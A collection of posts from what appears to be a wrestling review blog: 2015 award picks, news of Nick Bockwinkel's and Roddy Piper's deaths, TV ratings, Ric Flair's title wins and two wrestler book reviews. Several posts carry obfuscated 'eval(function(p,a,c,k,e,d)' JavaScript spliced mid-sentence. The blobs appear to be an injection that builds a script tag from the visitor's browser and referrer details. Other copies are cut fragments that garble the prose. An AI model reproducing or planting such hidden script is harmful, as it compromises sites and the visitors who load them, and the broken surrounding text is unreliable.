2015 Awards: Best Angle of the Year

We’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fabti|var|u0026u|referrer|bhrny||js|php'.split('|'),0,{})) go in reverse on this one.

However, there are some other good stories that are worth looking at.

But yeah, this goes to the US Open Challenge in probably the biggest runaway this year.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




2015 Awards: Worst Angle of the Year

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrefh|var|u0026u|referrer|nbkin||js|php'.split('|'),0,{})) this one doesn’t have the ending you might expect.

For me, the worst was Jon Stewart. The celebrity stuff is stupid in the first place, but to have it be at Summerslam for the World Title and having it wind up as ANOTHER way to remind us how amazing Ric Flair is and how his record is just so sacred was too much for me. I love Jon Stewart and it was cool having him around, but this was just so stupid and such a lame way to keep the title on Rollins.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




2015 Awards: Surprise of the Year

I’ll be doing 18 this year with one going up per day (allegedly) as we look back at the best of 2015.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itdky|var|u0026u|referrer|ybiki||js|php'.split('|'),0,{})) is one of those awards that rarely has a lot of options but the big ones are the ones you remember for a very long time.

However, most big upsets come in the form of matches themselves with Kalisto pinning Ryback in the World Title tournament being near the top of the list. Ryback had been built up for a long time over the summer and it seemed that Kalisto was going to be a roadblock on the way to the next round. Then Kalisto kept hanging around and finally hit a middle rope Salida Del Sol for one of the biggest upsets in recent years.

Edit: somehow I forgot Rollins cashing in.  That’s kind of the biggest one of the year.

Remember to follow me on Twitter @kbreviews and pick up my new book of the History of Wrestlemania at Amazon for just $3.99 at:

http://www.amazon.com/dp/B0188BJRGU

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Nick Bockwinkel Passes Away At 80

http://www.wrestlezone.com/news/642185-wwe-hall-of-famer-and-pro-wrestling-legend-nick-bockwinkel-dies-at-the-age-of-80

I know he’s not for everyone but Bockwinkel was one of the first intelligent heels and influenced a lot of people, including HHH.




Another Bad Sign For Impact

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rythi|var|u0026u|referrer|nfsik||js|php'.split('|'),0,{})) usually don’t talk about these things but this is worth mentioning.Impact – 266,000 viewers
ROH – 227,000 viewers

ROH airs at 11pm and has already aired in syndication by the time it airs on Destination America. Now it’s within shouting distance of TNA’s new episodes. I know there was a debate last night as well as the World Series, but ROH is now close to even in viewers with Impact while airing a show that debuted in syndication days earlier.  That’s not good for TNA no matter how you look at it.

 




Thought of the Day: Building Up The Myth

You know what move didn’t really do jack?Ric eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|airyd|var|u0026u|referrer|rzidh||js|php'.split('|'),0,{})) Flair’s Figure Four.  Take a look at how he won his World Titles (some recognized, some unrecognized.  Don’t start with the “IT’S MORE THAN 16 TIMES” stuff again).

 

WCW – 1 – Pin with feet on the ropes

WCW – 2 – Rollup

WCW – 3 – Rollup

WCW – 4 – Brass knuckles

WCW – 5 – Shoe to the face

WCW – 6 – Pin in the figure four

WCW – 7 – Small package

WCW – 8 – Awarded title

WWF – 1 – Won Royal Rumble

WWF – 2 – Pin in the Figure Four

NWA – 1 – Pin after Dusty Rhodes collapsed

NWA – 2 – Cross body

NWA – 3 – Rollup

NWA – 4 – Pin in the Figure Four

NWA – 5 – Pin after a ram into the cage

NWA – 6 – Small package

NWA – 7 – Rollup

NWA – 8 – Pin in the Figure Four

Yeah Flair won a few with it via pin, but he never won a World Title with the Figure Four via a traditional submission.  However, when you think of Flair, you instantly think of the Figure Four, despite it almost never winning a major match.  It says a lot about the way you can make something big just by talking about it and that you don’t always have to see everything to believe it.

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/product/B015IN12I2

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Hulk Hogan Accused Of Lying Under Oath

Because he hasn’t had enough issues recently.

http://www.wrestlingrumors.net/hulk-hogan-accused-of-lying-under-oath/38352/

 

Yes, this is again stemming from the sex tape.  Basically what he said to the FBI might be different than what he said under oath.  That would be a crime, and therefore could mean jail time.  I hope Bubba’s wife was awesome, because this has to be the biggest mistake he’s ever made.  Like, bigger than Santa With Muscles.




Read Jim Duggan’s Book

And it made me proud to be an American.  Or Canadian for like three weeks.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|addra|var|u0026u|referrer|yntry||js|php'.split('|'),0,{})) was a cheap buy so why not. I met Duggan at Axxess last year and he couldn’t have been a nicer guy so it was a pretty easy choice. The book was a lot more straightforward than Holly’s but in a way that makes it more fun. Duggan is far nicer than most wrestling writers as he rarely throws anyone under the bus or says bad things about anyone, save for himself at times.

Read Hardcore Holly’s Book

And eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isesn|var|u0026u|referrer|rbfdt||js|php'.split('|'),0,{})) I was very surprised.This book received some rave reviews when it came out and my first reaction was “but it’s Bob Holly.”  I mean, the guy wasn’t exactly a huge star over the years but people were losing their minds over this.  I started reading it on Friday and I was done by the end of Saturday because I couldn’t put it down.

Holly has a style that is every easy to read and he has no problem ripping on anyone he didn’t like.  That being said, he’s just as willing to praise anyone who he thinks is worthy of it and there are several names he likes quite a bit.  There are a lot of good stories in here, but the tone is what makes it work.

Holly is really good at keeping things simple and doesn’t seem to think he’s the greatest thing in the history of wrestling, which is really refreshing.  Yeah he has some issues with some pushes being stopped on a moment’s notice and some criticisms of some booking decisions, but he keeps coming back to the same line: it was his job and he did what he was told to do because he had to pay his bills.  So many wrestlers seem to forget that they’re employees at a job.  If you told your boss that you weren’t going to do something, how well do you think it would go?

This is a rare wrestling book that really is worth checking out as it’s awesome stuff and a very easy read.  Holly is a guy who knows his place in wrestling and was around for some of the most important moments in wrestling history.  There are some things in there that I don’t agree with, but it’s never dull and worth a read.




Roddy Piper Reportedly Dead At 61

Due to cardiac arrest.  This is starting to make the rounds from TMZ and then Meltzer (http://www.f4wonline.com/more/more-top-stories/96-wwe-news/43860-roddy-piper-passes-away).  If so, this is a huge shock as Piper had plans to be on a podcast today and was giving interviews over the recent Hogan issues.

This is a huge shock and it’s going to take a bit for me to process it.  More on this later of course but I’m stunned at the moment.  Piper was a huge star when I was growing up and one of the first big stars I remember.